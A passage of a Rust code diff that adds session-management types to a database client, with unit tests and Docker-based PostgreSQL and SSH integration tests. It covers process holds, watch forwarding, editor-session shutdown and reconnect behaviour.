7).unwrap()); + + assert!(events.borrow().is_empty()); + assert_eq!(registry.live_count(), 0); + } + + #[test] + fn a_dropped_subscription_stops_receiving() { + let registry = SessionRegistry::new(); + let (events, subscription) = recorded(®istry); + drop(subscription); + + let claim = registry.claim(SessionKey::Saved(Uuid::new_v4()), 7).unwrap(); + drop(claim); + + assert!(events.borrow().is_empty()); + } + + #[tokio::test(start_paused = true)] + async fn an_observer_may_claim_from_inside_its_callback() { + let registry = SessionRegistry::new(); + let reentrant = registry.clone(); + let claimed = Rc::new(RefCell::new(Vec::new())); + let sink = claimed.clone(); + let _subscription = registry.subscribe(move |event| { + if let RegistryEvent::Released { .. } = event { + sink.borrow_mut() + .push(reentrant.claim(SessionKey::Saved(Uuid::new_v4()), 3)); + } + }); + let claim = registry.claim(SessionKey::Saved(Uuid::new_v4()), 7).unwrap(); + claim.attach(&session()); + + drop(claim); + + assert_eq!(claimed.borrow().len(), 1); + assert!(claimed.borrow()[0].is_ok()); + } +} diff --git a/linux/crates/session/src/runtime/mod.rs b/linux/crates/session/src/runtime/mod.rs index 64b404fb13..20db131b5f 100644 --- a/linux/crates/session/src/runtime/mod.rs +++ b/linux/crates/session/src/runtime/mod.rs @@ -1,13 +1,17 @@ mod catch_panic; mod latest_wins_writer; +mod process_hold; mod task_failure; mod task_panic; mod task_result; mod tasks; +mod watch_forwarder; pub use catch_panic::catch_panic; pub use latest_wins_writer::LatestWinsWriter; +pub use process_hold::{CountingHold, HoldToken, ProcessHold}; pub use task_failure::TaskFailure; pub use task_panic::TaskPanic; pub use task_result::TaskResult; pub use tasks::Tasks; +pub use watch_forwarder::WatchForwarder; diff --git a/linux/crates/session/src/runtime/process_hold.rs b/linux/crates/session/src/runtime/process_hold.rs new file mode 100644 index 0000000000..5426cd79b8 --- /dev/null +++ b/linux/crates/session/src/runtime/process_hold.rs @@ -0,0 +1,88 @@ +use std::any::Any; +use std::sync::Arc; +use std::sync::atomic::{AtomicUsize, Ordering}; + +/// Keeps the process alive while background work that must finish is +/// still running, such as closing a connection after its window shut. +/// +/// The app implements it over `gio::Application::hold`; tests count. +pub trait ProcessHold { + fn acquire(&self) -> HoldToken; +} + +/// The hold lasts as long as this value. +#[must_use = "the hold ends when the token drops"] +pub struct HoldToken { + _guard: Box, +} + +impl HoldToken { + pub fn new(guard: impl Any) -> Self { + Self { + _guard: Box::new(guard), + } + } + + /// A token that holds nothing, for when the application is already + /// gone and there is nothing left to keep alive. + pub fn inert() -> Self { + Self::new(()) + } +} + +impl std::fmt::Debug for HoldToken { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.write_str("HoldToken") + } +} + +/// Counts live tokens, for tests that check a hold spans the work. +#[derive(Debug, Clone, Default)] +pub struct CountingHold { + live: Arc, +} + +struct Counted(Arc); + +impl Drop for Counted { + fn drop(&mut self) { + self.0.fetch_sub(1, Ordering::SeqCst); + } +} + +impl CountingHold { + pub fn new() -> Self { + Self::default() + } + + pub fn live(&self) -> usize { + self.live.load(Ordering::SeqCst) + } +} + +impl ProcessHold for CountingHold { + fn acquire(&self) -> HoldToken { + self.live.fetch_add(1, Ordering::SeqCst); + HoldToken::new(Counted(self.live.clone())) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_hold_lasts_as_long_as_its_token() { + let hold = CountingHold::new(); + + let first = hold.acquire(); + let second = hold.acquire(); + assert_eq!(hold.live(), 2); + + drop(first); + assert_eq!(hold.live(), 1); + drop(second); + assert_eq!(hold.live(), 0); + drop(HoldToken::inert()); + } +} diff --git a/linux/crates/session/src/runtime/task_panic.rs b/linux/crates/session/src/runtime/task_panic.rs index 65f375c897..d00cac258f 100644 --- a/linux/crates/session/src/runtime/task_panic.rs +++ b/linux/crates/session/src/runtime/task_panic.rs @@ -40,6 +40,8 @@ impl std::fmt::Display for TaskPanic { } } +impl std::error::Error for TaskPanic {} + #[cfg(test)] mod tests { use super::*; diff --git a/linux/crates/session/src/runtime/watch_forwarder.rs b/linux/crates/session/src/runtime/watch_forwarder.rs new file mode 100644 index 0000000000..bc0bc028f7 --- /dev/null +++ b/linux/crates/session/src/runtime/watch_forwarder.rs @@ -0,0 +1,103 @@ +use futures::future::{AbortHandle, Abortable, LocalBoxFuture}; +use tokio::sync::watch; + +/// Delivers each value a watch channel takes to a callback on the +/// thread that spawned it, until dropped. +/// +/// The caller supplies the local spawner (on the GTK side, +/// `glib::spawn_future_local`), so this stays free of GTK while a view +/// still owns its loop: dropping the forwarder stops it, and a value +/// published after the view went away is never delivered. +#[derive(Debug)] +#[must_use = "dropping the forwarder stops delivery"] +pub struct WatchForwarder { + abort: AbortHandle, +} + +impl WatchForwarder { + /// Deliver the current value at once, then every change. + pub fn new(mut receiver: watch::Receiver, mut deliver: F, spawn_local: S) -> Self + where + T: Clone + 'static, + F: FnMut(T) + 'static, + S: FnOnce(LocalBoxFuture<'static, ()>), + { + let (abort, registration) = AbortHandle::new_pair(); + let forward = async move { + let current = receiver.borrow_and_update().clone(); + deliver(current); + while receiver.changed().await.is_ok() { + let value = receiver.borrow_and_update().clone(); + deliver(value); + } + }; + spawn_local(Box::pin(async move { + // Aborted means the owner went away, which is the normal end. + let _ = Abortable::new(forward, registration).await; + })); + Self { abort } + } +} + +impl Drop for WatchForwarder { + fn drop(&mut self) { + self.abort.abort(); + } +} + +#[cfg(test)] +mod tests { + use std::cell::RefCell; + use std::rc::Rc; + + use super::*; + + fn spawn_on(local: &tokio::task::LocalSet) -> impl FnOnce(LocalBoxFuture<'static, ()>) + '_ { + move |future| { + local.spawn_local(future); + } + } + + #[tokio::test] + async fn delivers_the_current_value_then_each_change() { + let local = tokio::task::LocalSet::new(); + let (sender, receiver) = watch::channel(1); + let seen = Rc::new(RefCell::new(Vec::new())); + let sink = seen.clone(); + + let forwarder = WatchForwarder::new(receiver, move |value| sink.borrow_mut().push(value), spawn_on(&local)); + local + .run_until(async { + tokio::task::yield_now().await; + sender.send_replace(2); + tokio::task::yield_now().await; + sender.send_replace(3); + tokio::task::yield_now().await; + }) + .await; + + assert_eq!(*seen.borrow(), [1, 2, 3]); + drop(forwarder); + } + + #[tokio::test] + async fn nothing_is_delivered_after_the_forwarder_drops() { + let local = tokio::task::LocalSet::new(); + let (sender, receiver) = watch::channel(1); + let seen = Rc::new(RefCell::new(Vec::new())); + let sink = seen.clone(); + + let forwarder = WatchForwarder::new(receiver, move |value| sink.borrow_mut().push(value), spawn_on(&local)); + local + .run_until(async { + tokio::task::yield_now().await; + drop(forwarder); + sender.send_replace(2); + tokio::task::yield_now().await; + tokio::task::yield_now().await; + }) + .await; + + assert_eq!(*seen.borrow(), [1]); + } +} diff --git a/linux/crates/session/src/session/catalog_snapshot.rs b/linux/crates/session/src/session/catalog_snapshot.rs new file mode 100644 index 0000000000..e35a2032e5 --- /dev/null +++ b/linux/crates/session/src/session/catalog_snapshot.rs @@ -0,0 +1,16 @@ +use std::sync::Arc; + +use tablepro_core::meta::{ObjectInfo, SchemaInfo}; + +use crate::health::LinkGeneration; + +/// The catalog read when the current connection was established. +/// +/// Each reconnect reads it again and publishes it over the old one, so +/// the sidebar never goes empty while the new list is on its way. +#[derive(Debug, Clone)] +pub struct CatalogSnapshot { + pub generation: LinkGeneration, + pub schemas: Arc<[SchemaInfo]>, + pub objects: Arc<[ObjectInfo]>, +} diff --git a/linux/crates/session/src/session/editor_session_shutdown.rs b/linux/crates/session/src/session/editor_session_shutdown.rs new file mode 100644 index 0000000000..bf7090bb1f --- /dev/null +++ b/linux/crates/session/src/session/editor_session_shutdown.rs @@ -0,0 +1,73 @@ +use std::sync::Arc; +use std::time::Duration; + +use tablepro_core::EditorSession; + +use crate::link::CloseReport; +use crate::runtime::{TaskResult, Tasks}; + +/// Close every editor tab's session at once, each under `close_timeout`. +/// +/// Editor sessions are never closed by a link replacement: each holds +/// its own connection and transport, so the tab that owns it closes it +/// here, on disconnect or window close. +pub fn close_editor_sessions( + sessions: Vec>, + close_timeout: Duration, + tasks: &Tasks, +) -> TaskResult> { + tasks.spawn_task(async move { + let closes = sessions.into_iter().map(|session| async move { + match tokio::time::timeout(close_timeout, session.close()).await { + Ok(()) => CloseReport::Closed, + Err(_) => CloseReport::Abandoned, + } + }); + futures::future::join_all(closes).await + }) +} + +#[cfg(test)] +mod tests { + use tablepro_test_support::{CloseBehaviour, FakeEditorSession, Replies}; + + use super::*; + use crate::test_support::paused_tasks; + + #[tokio::test(start_paused = true)] + async fn closes_each_session_once() { + let first = Arc::new(FakeEditorSession::new(Replies::default())); + let second = Arc::new(FakeEditorSession::with_close( + Replies::default(), + CloseBehaviour::Delay(Duration::from_millis(100)), + )); + let sessions: Vec> = vec![first.clone(), second.clone()]; + + let reports = close_editor_sessions(sessions, Duration::from_secs(10), &paused_tasks()) + .await + .unwrap(); + + assert_eq!(reports, [CloseReport::Closed, CloseReport::Closed]); + assert_eq!(first.close_count(), 1); + assert_eq!(second.close_count(), 1); + } + + #[tokio::test(start_paused = true)] + async fn hanging_editor_close_abandoned_at_close_timeout() { + let hanging = Arc::new(FakeEditorSession::with_close(Replies::default(), CloseBehaviour::Hang)); + let quick = Arc::new(FakeEditorSession::new(Replies::default())); + let started = tokio::time::Instant::now(); + + let reports = close_editor_sessions( + vec![hanging.clone(), quick.clone()], + Duration::from_secs(10), + &paused_tasks(), + ) + .await + .unwrap(); + + assert_eq!(reports, [CloseReport::Abandoned, CloseReport::Closed]); + assert_eq!(started.elapsed(), Duration::from_secs(10)); + assert_eq!(quick.close_count(), 1); + } +} diff --git a/linux/crates/session/src/session/mod.rs b/linux/crates/session/src/session/mod.rs new file mode 100644 index 0000000000..d635563460 --- /dev/null +++ b/linux/crates/session/src/session/mod.rs @@ -0,0 +1,16 @@ +//! One window's session: its connection link, the operation chokepoint, +//! the health monitor, and an ordered shutdown. + +mod catalog_snapshot; +mod editor_session_shutdown; +#[expect( + clippy::module_inception, + reason = "the Session type is the module's subject, as the plan names its file" +)] +mod session; +mod session_deps; + +pub use catalog_snapshot::CatalogSnapshot; +pub use editor_session_shutdown::close_editor_sessions; +pub use session::Session; +pub use session_deps::SessionDeps; diff --git a/linux/crates/session/src/session/session.rs b/linux/crates/session/src/session/session.rs new file mode 100644 index 0000000000..2f3cb4ae3c --- /dev/null +++ b/linux/crates/session/src/session/session.rs @@ -0,0 +1,383 @@ +use std::future::Future; +use std::sync::{Arc, Mutex, PoisonError}; +use std::time::Duration; + +use tablepro_core::dialect::SqlDialect; +use tablepro_core::{CallOptions, EditorSession, EditorSessionOptions, WorkspaceSettings}; +use tokio::sync::watch; +use tokio_util::sync::{CancellationToken, DropGuard}; +use tokio_util::task::AbortOnDropHandle; +use uuid::Uuid; + +use super::{CatalogSnapshot, SessionDeps}; +use crate::connect::{ConnectionMetadata, PendingSession}; +use crate::health::{ + LinkGeneration, MonitorContext, MonitorMailbox, MonitorSignal, ReachabilityTarget, ReconnectPlan, SessionHealth, + run_monitor, +}; +use crate::link::{CloseReport, ConnectionLease, ConnectionLink}; +use crate::operation::{OperationError, OperationKind, OperationRunner}; +use crate::runtime::{TaskResult, Tasks}; + +/// One window's connection to one database. +/// +/// Built only from runtime-free parts, so the GTK thread can start one +/// without entering the runtime; the monitor runs on the app's `Tasks`. +/// Dropping the last handle cancels every operation and stops the +/// monitor; `begin_shutdown` is what closes the connection. +pub struct Session { + metadata: ConnectionMetadata, + workspace_settings: WorkspaceSettings, + reachability: Arc>, + runner: OperationRunner, + mailbox: Arc, + health: watch::Receiver, + link: Arc, + catalog: watch::Receiver, + tasks: Tasks, + close_timeout: Duration, + cancel: CancellationToken, + _cancel_on_drop: DropGuard, + _monitor: AbortOnDropHandle<()>, +} + +impl Session { + pub fn start(pending: PendingSession, deps: SessionDeps) -> Arc { + let parts = pending.into_parts(); + let close_timeout = deps + .deadlines + .deadline(OperationKind::Close) + .unwrap_or(parts.close_timeout); + let reachability = Arc::new(Mutex::new(ReachabilityTarget::for_established( + &parts.request, + &parts.established, + ))); + let link = Arc::new(ConnectionLink::new(parts.established)); + let mailbox = Arc::new(MonitorMailbox::new()); + let (health_sender, health) = watch::channel(SessionHealth::Online); + let (catalog_sender, catalog) = watch::channel(CatalogSnapshot { + generation: link.generation(), + schemas: parts.schemas.into(), + objects: parts.objects.into(), + }); + let cancel = CancellationToken::new(); + let runner = OperationRunner::new( + link.clone(), + deps.deadlines.clone(), + mailbox.clone(), + health.clone(), + cancel.clone(), + ); + let context = MonitorContext { + link: link.clone(), + plan: ReconnectPlan { + connector: deps.connector, + request: parts.request.for_reconnect(), + credentials: deps.credentials, + prompter: deps.prompter, + }, + deadlines: deps.deadlines, + tasks: deps.tasks.clone(), + health: health_sender, + mailbox: mailbox.clone(), + cancel: cancel.clone(), + catalog: catalog_sender, + reachability: reachability.clone(), + close_timeout, + }; + let monitor = deps.tasks.spawn_owned(run_monitor(context)); + Arc::new(Session { + metadata: parts.request.metadata, + workspace_settings: parts.request.workspace_settings, + reachability, + runner, + mailbox, + health, + link, + catalog, + tasks: deps.tasks, + close_timeout, + _cancel_on_drop: cancel.clone().drop_guard(), + cancel, + _monitor: monitor, + }) + } + + pub fn id(&self) -> Uuid { + self.metadata.id + } + + pub fn metadata(&self) -> &ConnectionMetadata { + &self.metadata + } + + /// What the current connection enforces, which is what the session + /// was asked for. + pub fn read_only(&self) -> bool { + self.link + .lease() + .map_or(self.workspace_settings.read_only, |lease| lease.read_only()) + } + + pub fn workspace_settings(&self) -> WorkspaceSettings { + self.workspace_settings + } + + /// What the network must reach for this session, recomputed when a + /// reconnect lands, because ssh may resolve its first hop anew. + pub fn reachability(&self) -> ReachabilityTarget { + self.reachability.lock().unwrap_or_else(PoisonError::into_inner).clone() + } + + /// The current connection's dialect, for UI that adapts to the + /// server. `None` once the session shut down. SQL that runs is built + /// inside an operation from its own lease instead, so it always + /// matches the connection it runs on. + pub fn current_dialect(&self) -> Option> { + self.link.lease().map(|lease| lease.dialect()) + } + + /// Ticks each time a reconnect replaces the connection. + pub fn link_changes(&self) -> watch::Receiver { + self.link.subscribe() + } + + pub fn health(&self) -> watch::Receiver { + self.health.clone() + } + + /// The catalog of the current connection, as read when it connected. + pub fn catalog(&self) -> watch::Receiver { + self.catalog.clone() + } + + pub fn signal(&self, signal: MonitorSignal) { + self.mailbox.post(signal); + } + + pub fn runner(&self) -> &OperationRunner { + &self.runner + } + + pub fn tasks(&self) -> &Tasks { + &self.tasks + } + + pub async fn run(&self, kind: OperationKind, op: F) -> Result + where + F: Fn(ConnectionLease, CallOptions) -> Fut + Send + Sync, + Fut: Future> + Send, + T: Send, + { + self.runner.run_cancellable(kind, &CancellationToken::new(), op).await + } + + pub async fn run_cancellable( + &self, + kind: OperationKind, + cancel: &CancellationToken, + op: F, + ) -> Result + where + F: Fn(ConnectionLease, CallOptions) -> Fut + Send + Sync, + Fut: Future> + Send, + T: Send, + { + self.runner.run_cancellable(kind, cancel, op).await + } + + /// Open an editor tab's own connection from the current one. + /// + /// Opening is idempotent, so it runs as a replayable read: a tab + /// opened just as the link was replaced gets a session on the new + /// connection instead of an error. The session outlives any later + /// replacement; the tab closes it. + pub async fn open_editor_session( + &self, + options: EditorSessionOptions, + cancel: &CancellationToken, + ) -> Result, OperationError> { + self.runner + .run_cancellable(OperationKind::Metadata, cancel, |lease, call| { + let options = options.clone(); + async move { + lease + .open_editor_session(options, call.cancel().clone()) + .await + .map_err(OperationError::from) + } + }) + .await + } + + /// Stop every operation, take the connection and close it under the + /// close deadline. A second call finds nothing to close. + pub fn begin_shutdown(&self) -> TaskResult { + self.cancel.cancel(); + let retired = self.link.take(); + let close_timeout = self.close_timeout; + self.tasks.spawn_task(async move { + match retired { + Some(retired) => retired.close(close_timeout).await, + None => CloseReport::AlreadyClosed, + } + }) + } + + pub fn is_shut_down(&self) -> bool { + self.link.is_taken() + } +} + +impl std::fmt::Debug for Session { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("Session") + .field("id", &self.metadata.id) + .field("name", &self.metadata.name) + .field("link", &self.link) + .finish_non_exhaustive() + } +} + +#[cfg(test)] +mod tests { + use std::sync::Weak; + + use tablepro_core::{DriverError, LivenessPolicy}; + use tablepro_test_support::{ + CallCounters, CloseBehaviour, ConnectionScript, FakeConnection, FakeEditorSession, FakeReply, Replies, + }; + + use super::*; + use crate::fakes::{FakeConnector, FakeCredentialSource}; + use crate::operation::DefaultDeadlines; + use crate::test_support::paused_tasks; + + fn deps(credentials: Arc) -> SessionDeps { + SessionDeps { + connector: Arc::new(FakeConnector::new([])), + credentials, + deadlines: Arc::new(DefaultDeadlines::new(LivenessPolicy::DESKTOP)), + tasks: paused_tasks(), + prompter: None, + } + } + + fn start(script: ConnectionScript) -> (Arc, Arc) { + let (pending, connection) = FakeConnector::pending_session(FakeConnector::request().unwrap(), script); + ( + Session::start(pending, deps(Arc::new(FakeCredentialSource::new()))), + connection, + ) + } + + #[tokio::test(start_paused = true)] + async fn begin_shutdown_closes_once_then_already_closed() { + let (session, connection) = start(ConnectionScript::default()); + + let first = session.begin_shutdown().await.unwrap(); + let second = session.begin_shutdown().await.unwrap(); + + assert_eq!(first, CloseReport::Closed); + assert_eq!(second, CloseReport::AlreadyClosed); + assert_eq!(CallCounters::get(&connection.counters().close), 1); + assert!(session.is_shut_down()); + let after = session.run(OperationKind::Page, |_, _| async { Ok(()) }).await; + assert_eq!(after, Err(OperationError::Closed)); + assert!(session.current_dialect().is_none()); + } + + #[tokio::test(start_paused = true)] + async fn hanging_close_reports_abandoned_at_close_timeout() { + let (session, _) = start(ConnectionScript { + close: CloseBehaviour::Hang, + ..ConnectionScript::default() + }); + let started = tokio::time::Instant::now(); + + let report = session.begin_shutdown().await.unwrap(); + + assert_eq!(report, CloseReport::Abandoned); + assert_eq!(started.elapsed(), LivenessPolicy::DESKTOP.close_timeout); + } + + #[tokio::test(start_paused = true)] + async fn dropping_last_arc_ends_monitor() { + let credentials = Arc::new(FakeCredentialSource::new()); + let (pending, connection) = + FakeConnector::pending_session(FakeConnector::request().unwrap(), ConnectionScript::default()); + let session = Session::start(pending, deps(credentials.clone())); + let weak: Weak = Arc::downgrade(&session); + let mut health = session.health(); + assert_eq!(Arc::strong_count(&credentials), 2, "the monitor holds no plan"); + + drop(session); + for _ in 0..10 { + tokio::task::yield_now().await; + } + + assert!(weak.upgrade().is_none()); + assert_eq!(Arc::strong_count(&credentials), 1, "the monitor outlived its session"); + assert!(health.changed().await.is_err(), "the health sender is still alive"); + assert_eq!( + CallCounters::get(&connection.counters().close), + 0, + "dropping is not closing; that is begin_shutdown's job" + ); + } + + #[tokio::test(flavor = "multi_thread", worker_threads = 1)] + async fn session_start_without_entered_runtime() { + let mut script = ConnectionScript::default(); + script.count_rows.always(FakeReply::ok(7)); + let (pending, _) = FakeConnector::pending_session(FakeConnector::request().unwrap(), script); + let deps = deps(Arc::new(FakeCredentialSource::new())); + + // A plain thread has no runtime entered, like the GTK thread. + let session = std::thread::spawn(move || Session::start(pending, deps)) + .join() + .unwrap(); + + let count = session + .run(OperationKind::Count, |lease, options| async move { + let statement = tablepro_core::statement::StatementBuilder::new().finish(); + Ok(lease.count_rows(&statement, options).await?) + }) + .await + .unwrap(); + assert_eq!(count, 7); + } + + #[tokio::test(start_paused = true)] + async fn read_only_and_dialect_follow_the_current_connection() { + let (session, _) = start(ConnectionScript { + read_only: true, + ..ConnectionScript::default() + }); + + assert!(session.read_only()); + assert!(session.current_dialect().is_some()); + assert_eq!(session.reachability(), ReachabilityTarget::Local); + assert_eq!(session.catalog().borrow().generation, LinkGeneration::FIRST); + assert_eq!(session.metadata().name, "Fake"); + } + + #[tokio::test(start_paused = true)] + async fn open_editor_session_leases_the_current_connection() { + let editor: Arc = Arc::new(FakeEditorSession::new(Replies::default())); + let mut script = ConnectionScript::default(); + script.open_editor_session.once(FakeReply::ok(editor.clone())); + script + .open_editor_session + .always(FakeReply::err(DriverError::server("one per test"))); + let (session, connection) = start(script); + + let opened = session + .open_editor_session(EditorSessionOptions::default(), &CancellationToken::new()) + .await + .unwrap(); + + assert_eq!(opened.id(), editor.id()); + assert_eq!(CallCounters::get(&connection.counters().open_editor_session), 1); + } +} diff --git a/linux/crates/session/src/session/session_deps.rs b/linux/crates/session/src/session/session_deps.rs new file mode 100644 index 0000000000..2f2560ac33 --- /dev/null +++ b/linux/crates/session/src/session/session_deps.rs @@ -0,0 +1,28 @@ +use std::sync::Arc; + +use tablepro_core::credentials::CredentialPrompter; + +use crate::connect::{Connector, CredentialSource}; +use crate::operation::DeadlinePolicy; +use crate::runtime::Tasks; + +/// What a session needs from the app beyond its first connection. +#[derive(Clone)] +pub struct SessionDeps { + pub connector: Arc, + pub credentials: Arc, + pub deadlines: Arc, + pub tasks: Tasks, + /// Asked for secrets on a reconnect the user started with Retry. + /// `None` keeps every reconnect unattended. + pub prompter: Option>, +} + +impl std::fmt::Debug for SessionDeps { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("SessionDeps") + .field("tasks", &self.tasks) + .field("prompter", &self.prompter.is_some()) + .finish_non_exhaustive() + } +} diff --git a/linux/crates/session/tests/session_postgres.rs b/linux/crates/session/tests/session_postgres.rs new file mode 100644 index 0000000000..8b956bbdc7 --- /dev/null +++ b/linux/crates/session/tests/session_postgres.rs @@ -0,0 +1,343 @@ +//! A Session against a real PostgreSQL, directly and through OpenSSH. + +#![expect( + clippy::expect_used, + reason = "the setup helpers fail a test the way the test functions themselves do" +)] + +use std::os::unix::fs::PermissionsExt; +use std::path::{Path, PathBuf}; +use std::sync::Arc; +use std::time::Duration; + +use drivers_postgres::{PgDriver, WORKSPACE_POOL_MAX_SIZE}; +use secrecy::SecretString; +use tablepro_core::credentials::CredentialInteraction; +use tablepro_core::statement::{Statement, StatementBuilder}; +use tablepro_core::{ + CallOptions, ConnectEnvironment, ConnectOptions, ConnectTarget, Connection, Credentials, DatabaseDriver, + DriverError, LivenessPolicy, NetworkEndpoint, NetworkTarget, RowLimit, TlsConfig, Value, WorkspaceSettings, +}; +use tablepro_net::DirectTcpTransport; +use tablepro_session::runtime::Tasks; +use tablepro_session::{ + ConnectRequest, ConnectServices, ConnectionLease, ConnectionMetadata, Connector, DefaultDeadlines, DriverConnector, + MonitorSignal, NoStoredCredentials, OperationError, OperationKind, PendingSession, RequestTarget, Session, + SessionDeps, SessionHealth, +}; +use tablepro_ssh::{SshAuth, SshConfig, SshDestination, SshRuntimeCell, SshServices}; +use tablepro_test_fixtures::{ + FixtureCredentials, HbaMode, OpenSshFixture, PostgresFixture, SshAuthVariant, SshKeyPair, TestNetwork, +}; +use tokio_util::sync::CancellationToken; +use uuid::Uuid; + +const WAIT: Duration = Duration::from_secs(60); + +/// The test runtime's handle. A test is already inside its runtime, so +/// this is where taking the ambient handle is correct. +#[expect( + clippy::disallowed_methods, + reason = "a test runs inside its own runtime; the app passes its Tasks in" +)] +fn tasks() -> Tasks { + Tasks::new(tokio::runtime::Handle::current()) +} + +fn statement(sql: &str) -> Statement { + let mut builder = StatementBuilder::new(); + builder.push_sql(sql); + builder.finish() +} + +fn password(credentials: &FixtureCredentials) -> Credentials { + Credentials::Password { + username: credentials.username.clone(), + password: SecretString::from(credentials.password.clone()), + } +} + +/// SSH services that run the system client with a private config: no +/// agent, a throwaway known_hosts, and new host keys accepted, so no +/// prompt is ever raised. +struct IsolatedSsh { + _dir: tempfile::TempDir, + services: SshServices, +} + +fn isolated_ssh() -> IsolatedSsh { + let dir = tempfile::tempdir().expect("a temporary directory"); + let config = dir.path().join("ssh_config"); + std::fs::write( + &config, + format!( + "Host *\n UserKnownHostsFile {}\n GlobalKnownHostsFile /dev/null\n StrictHostKeyChecking accept-new\n IdentityAgent none\n IdentitiesOnly yes\n", + dir.path().join("known_hosts").display() + ), + ) + .expect("the ssh config"); + let wrapper = dir.path().join("ssh"); + std::fs::write( + &wrapper, + format!("#!/bin/sh\nexec ssh -F '{}' \"$@\"\n", config.display()), + ) + .expect("the ssh wrapper"); + std::fs::set_permissions(&wrapper, std::fs::Permissions::from_mode(0o755)).expect("an executable wrapper"); + let runtime = dir.path().join("runtime"); + std::fs::create_dir(&runtime).expect("the runtime directory"); + let services = SshServices { + runtime: Arc::new(SshRuntimeCell::new(runtime)), + ssh_program: wrapper, + ssh_keygen_program: PathBuf::from("ssh-keygen"), + askpass_program: PathBuf::from("/nonexistent/tablepro-askpass"), + }; + IsolatedSsh { _dir: dir, services } +} + +fn connector(ssh: SshServices) -> Arc { + Arc::new(DriverConnector::new( + ConnectServices { + environment: ConnectEnvironment::new("test"), + ssh, + liveness: LivenessPolicy::DESKTOP, + }, + Arc::new(DefaultDeadlines::new(LivenessPolicy::DESKTOP)), + )) +} + +fn request(target: RequestTarget) -> ConnectRequest { + ConnectRequest { + metadata: ConnectionMetadata { + id: Uuid::new_v4(), + name: "PostgreSQL".to_owned(), + driver_id: "postgres".to_owned(), + }, + driver: Arc::new(PgDriver), + target, + workspace_settings: WorkspaceSettings::workspace(false), + } +} + +fn direct_target(fixture: &PostgresFixture) -> RequestTarget { + RequestTarget::Network { + endpoint: NetworkEndpoint::new(fixture.host(), fixture.port()).expect("a valid endpoint"), + ssh: None, + credentials: password(&fixture.password_credentials()), + database: Some(fixture.database().to_owned()), + tls: TlsConfig::disabled(), + } +} + +async fn establish(connector: &Arc, request: ConnectRequest) -> PendingSession { + connector + .establish(request, CredentialInteraction::Unattended, CancellationToken::new()) + .await + .expect("an established connection") +} + +fn start(connector: Arc, pending: PendingSession) -> Arc { + Session::start( + pending, + SessionDeps { + connector, + credentials: Arc::new(NoStoredCredentials), + deadlines: Arc::new(DefaultDeadlines::new(LivenessPolicy::DESKTOP)), + tasks: tasks(), + prompter: None, + }, + ) +} + +async fn scalar(session: &Session, kind: OperationKind, sql: &str) -> Result { + let sql = sql.to_owned(); + session + .run(kind, |lease: ConnectionLease, options: CallOptions| { + let statement = statement(&sql); + async move { + let result = lease.query_bound(&statement, RowLimit::EDITOR_DEFAULT, options).await?; + Ok(result + .rows + .into_iter() + .next() + .and_then(|row| row.into_iter().next()) + .unwrap_or(Value::Null)) + } + }) + .await +} + +/// A connection of its own, outside the session, for setup and for +/// pulling the rug out from under the session. +async fn admin(fixture: &PostgresFixture) -> Arc { + let liveness = LivenessPolicy::DESKTOP; + let endpoint = NetworkEndpoint::new(fixture.host(), fixture.port()).expect("a valid endpoint"); + let options = ConnectOptions { + target: ConnectTarget::Network(NetworkTarget { + transport: Arc::new(DirectTcpTransport::new(endpoint, &liveness)), + credentials: password(&fixture.password_credentials()), + database: Some(fixture.database().to_owned()), + tls: TlsConfig::disabled(), + }), + workspace_settings: WorkspaceSettings::workspace(false), + liveness, + environment: ConnectEnvironment::new("test-admin"), + }; + PgDriver + .connect(options, CancellationToken::new()) + .await + .expect("an admin connection") +} + +fn within(limit: Duration) -> CallOptions { + CallOptions::new(Some(tokio::time::Instant::now() + limit), CancellationToken::new()) +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn pg_terminate_backend_next_query_succeeds() { + let fixture = PostgresFixture::start(HbaMode::Password).await.expect("PostgreSQL"); + let connector = connector(isolated_ssh().services); + let session = start( + connector.clone(), + establish(&connector, request(direct_target(&fixture))).await, + ); + assert_eq!( + scalar(&session, OperationKind::Metadata, "SELECT 1").await, + Ok(Value::Int(1)) + ); + let admin = admin(&fixture).await; + + admin + .query_bound( + &statement( + "SELECT count(pg_terminate_backend(pid)) FROM pg_stat_activity \ + WHERE application_name = 'TablePro' AND pid <> pg_backend_pid() \ + AND backend_type = 'client backend'", + ), + RowLimit::EDITOR_DEFAULT, + within(WAIT), + ) + .await + .expect("the backends were terminated"); + let first = scalar(&session, OperationKind::Metadata, "SELECT 2").await; + let next = scalar(&session, OperationKind::Metadata, "SELECT 3").await; + + // A terminated backend is one dead pooled connection, not a dead + // link: the pool verifies on recycle and replaces it. + assert_eq!(next, Ok(Value::Int(3)), "the session did not recover: first {first:?}"); + tokio::time::sleep(Duration::from_secs(1)).await; + assert_eq!(*session.health().borrow(), SessionHealth::Online); + let report = session.begin_shutdown().await.expect("the close task"); + assert_eq!(report, tablepro_session::CloseReport::Closed); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn saturated_pool_operation_busy_probe_ok_stays_online() { + let fixture = PostgresFixture::start(HbaMode::Password).await.expect("PostgreSQL"); + let connector = connector(isolated_ssh().services); + let session = start( + connector.clone(), + establish(&connector, request(direct_target(&fixture))).await, + ); + let generation = *session.link_changes().borrow(); + + let sleepers: Vec<_> = (0..WORKSPACE_POOL_MAX_SIZE) + .map(|_| { + let session = session.clone(); + tasks().spawn_task(async move { scalar(&session, OperationKind::Page, "SELECT pg_sleep(12)::text").await }) + }) + .collect(); + tokio::time::sleep(Duration::from_secs(2)).await; + let crowded = scalar(&session, OperationKind::Count, "SELECT 1").await; + session.signal(MonitorSignal::ProbeRequested { generation }); + tokio::time::sleep(Duration::from_secs(2)).await; + + assert_eq!(crowded, Err(OperationError::Driver(DriverError::Busy))); + assert_eq!(*session.health().borrow(), SessionHealth::Online); + assert_eq!( + *session.link_changes().borrow(), + generation, + "a busy pool was treated as lost" + ); + for sleeper in sleepers { + assert!(sleeper.await.expect("the sleeper task").is_ok()); + } + assert_eq!( + scalar(&session, OperationKind::Count, "SELECT 4").await, + Ok(Value::Int(4)) + ); +} + +fn ssh_target(sshd: &OpenSshFixture, postgres: &PostgresFixture, key: &Path) -> RequestTarget { + let postgres_host = postgres.network_alias().expect("PostgreSQL on the test network"); + RequestTarget::Network { + endpoint: 